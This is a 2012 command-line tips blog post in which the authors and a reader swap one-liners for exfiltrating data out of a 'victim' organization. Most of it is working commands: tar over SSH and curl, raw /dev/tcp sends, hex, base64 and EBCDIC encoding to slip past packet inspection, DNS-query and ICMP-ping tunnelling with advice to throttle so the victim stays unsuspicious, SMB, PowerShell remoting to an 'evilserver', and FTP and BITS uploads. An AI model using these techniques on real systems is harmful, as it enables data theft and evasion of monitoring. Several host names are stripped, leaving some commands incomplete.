Tuesday, January 10, 2012

Episode #164: Exfiltration Nation

Hal pillages the mailbox

Happy 2012 everybody!

In the days and weeks to come, the industry press will no doubt be filled with stories of all the high-profile companies whose data was "liberated" during the past couple of weeks. It may be a holiday for most of us, but it's the perfect time for the black hats to be putting in a little overtime with their data exfiltration efforts.

So it was somehow appropriate that we found that loyal reader Greg Hetrick had emailed us this tasty little bit of command-line exfiltration fu:

tar zcf - localfolder | ssh "cd /some/path/name; tar zxpf -"

Ah, yes, the old "tar over SSH" gambit. The nice thing here is that no local file gets written, but you end up with a perfect directory copy over on "" in a target directory of your choosing.

If SSH is your preferred outbound channel, and the local system has rsync installed, you could accomplish the same mission with fewer keystrokes:

rsync -aH localhost

If outbound port 22 is being blocked, you could use "ssh -p" or "rsync --port" to connect to the remote server on an alternate port number. Ports 80 and 443 are often open in the outbound direction when other ports are not.

But what if outbound SSH connections-- especially SSH traffic on unexpected port numbers-- are being monitored by your victim? Greg's email got me thinking about other stealthy ways to move data out of an organization using only command-line primitives.

My first thought was everybody's favorite exfiltration protocol: HTTPS. And nothing makes moving data over HTTPS easier than curl:

tar zcf - localfolder | curl -F "data=@-"

"curl -F" fakes a form POST. In this case, the submitted parameter name will be "data". Normally you would use "@filename" after the "data=" to post the contents of a file. But we don't want to write any files locally, so we use "@-" to tell curl to take data from the standard input.

Of course, you'd also have to create script.php over on the remote web server and have it save the incoming data so that you could manually unpack it later. And, while it's commonly found on Linux systems, curl is not a built-in tool. So strictly speaking, I'm not supposed to be using it according to the rules of our blog.

So no SSH and now no curl. What's left? Well, I could just shoot the tarball over the network in raw mode:

tar zcf - localfolder >/dev/tcp/

"/dev/tcp/" is the wonderful bash-ism that allows me to make connections to arbitrary hosts and ports via the command-line. Note that because the "/dev/tcp/..." hack is a property of the bash shell, I can't use it as a file name argument to "tar -f". Instead I have to use redirection like you see in the example.

Maybe my victim is doing packet inspection. Perhaps I don't want to just send the unobfuscated tarball. I could use xxd to encode the tarball as a hex dump before sending:

tar zcf - localfolder | xxd -p >/dev/tcp/

You would use "xxd -r" on the other end to revert the hex dump back into binary.

Instead of xxd, I could use "base64" for a simple base64 encoding. But that might be too obvious. How about a nice EBCDIC encoding on top of the base64:

tar zcf - localfolder | base 64 | dd conv=ebcdic >/dev/tcp/

Use "dd conv=ascii if=filename | base64 -d" on the remote machine to get your data back. I'm guessing that nobody looking at the raw packet data would suspect EBCDIC as the encoding though.

Doing something like XOR encoding on the fly turns into a script, unfortunately. But there are some cool examples in several different languages (including the Unix shell and Windows Powershell) over here.

Or how about using DNS queries to exfiltrate data:

tar zcf - localfolder | xxd -p -c 16 |
while read line; do host $; done

Once again I'm using xxd to encode my tar file as a hex dump. I read the hex dump line by line and use each line of data as the "host name" portion of a DNS query to my nameserver on By monitoring the DNS query traffic on the remote machine, I can reassemble the encoded data to get my original file content back.

Note that I've added the '-c 16" option to the xxd command to output 16 bytes (32 characters) per line. That way my "host names" are not flagged as invalid for being too long. You might also want to throw a "sleep" statement into that loop so that your victim doesn't become suspicious of the sudden blast of DNS queries leaving the box.

I could so something very similar using the ping command on Linux to exfiltrate my data in ICMP echo request packets:

tar zcf - localfolder | xxd -p -c 16 |
while read line; do ping -p $line -c 1 -q; done

The Linux version of ping lets me use "-p" to specify up to 16 bytes of data to be included in the outgoing packet. Unfortunately, this option may not be supported on other Unix variants. I'm also using "-c 1" to send only a single instance of each packet and "-q" to reduce the amount of output I get. Of course, I'd have to scrape the content out of the packets on the other side, which will require a bit of scripting.

Well, I hope that gets your creative juices flowing. There's just so many different ways you can obfuscate data and move it around the network using the bash shell. But I think I better stop here before I make Tim cry. Now Tim, stop your sobbing and show us what you've got in Windows.

Tim wipes away his tears

I asked Santa for a few features to appear in Windows that are native to Linux, but all I got was a lump of coal. I keep asking Santa every year and he never writes back. I know people told me he doesn't exist, but HE DOES. He gave me a skateboard when I was 7. So yes, my apparent shunning by Santa made me cry.

I've got no built in commands for ssh, tar, base64, curl/wget, dev tcp, or any of the cool stuff Hal has. FTP could be used, and can support encryption, but you have to write a script for the FTP command (similar to this). While PowerShell scripts could be written to implement most of these functions, that would definitely cross into The Land of Scripts (and they have a restraining order against us, something about Hal not wearing pants last time he visited).

That pretty much leaves SMB connections and that has a number of problems. First, we don't have encryption, which may mean we can't use it on a Pen Test. Second, port 445 is usually heavily monitored or filtered. Third, we can't pick a different port and we are stuck with 445.

On the bright side it means that my portion of this episode is going to be short. First, we create the connection back to our server.

C:\> net use z: \\\myshare myevilpassword1 /user:myeviluser

Then we can copy all the files we want to the Z. drive. We can accomplish this using Robocopy or PowerShell's Copy-Item (aliases copy, cp, and cpi) with the -Recurse switch.

Yep, that's it. Now back to my crying. Oh, and Happy Stinking New Year.

Edit: Marc van Orsouw writes in with the following
Some remarks about PowerShell options :

Of course you do not need the net use in PowerShell you can use UNC directly.
And there are a lot of options in your wishlist that can be done using .NET (mostly resulting in scripts on oneliners of course, so keep your list ;), although PSCX will solve a lot of them)

Some options I came up with :

A IMHO opinion another cool option is using PowerShell remoting (already encrypted)

This could be as easy as :

Invoke-Command -ComputerName evilserver {PARAM($txt);set-content stolen.txt $txt} -ArgumentList (get-content usernames.txt)

Some Ugly FTP example with Base64

[System.Net.FtpWebRequest][System.Net.WebRequest]::Create('') |% {$_.Method = "STOR";$s = [byte[]][convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\username.txt')).tochararray();$_.GetRequestStream().Write($s, 0, $s.Length)}

And with Web service when remote server available (as in the PHP example) than it would be as simple as :

(New-WebServiceProxy -uri file.txt))

We can just use the UNC path (\\\share instead of z:\) for exfiltration, but if we want to authenticate the best way is to use NET USE first.

The PowerShell Community Extensions (PSCX) do give a lot of cool functionality, but they are add-ons and not allowed. Similarly, the .NET framework gives us tremendous power, but crosses into script-land rather quickly and is also not allowed.

The remoting command is really cool *and* it is encrypted too. I forgot about this one. The New-WebServiceProxy cmdlet is a really intriguing way to do this as well. I have never used this cmdlet before, and if we use HTTPS instead of HTTP it would be encrypted too. Very nice!

Edit 2: Marc van Orsouw has another cool suggestions
PS C:\> Import-Module BitsTransfer
PS C:\> Start-BitsTransfer -Source c:\clienttestdir\testfile1.txt -Destination https://server01/servertestdir/testfile1.txt
-TransferType Upload -cred (get-credential)

Mark is a PowerShell MVP and blogs over at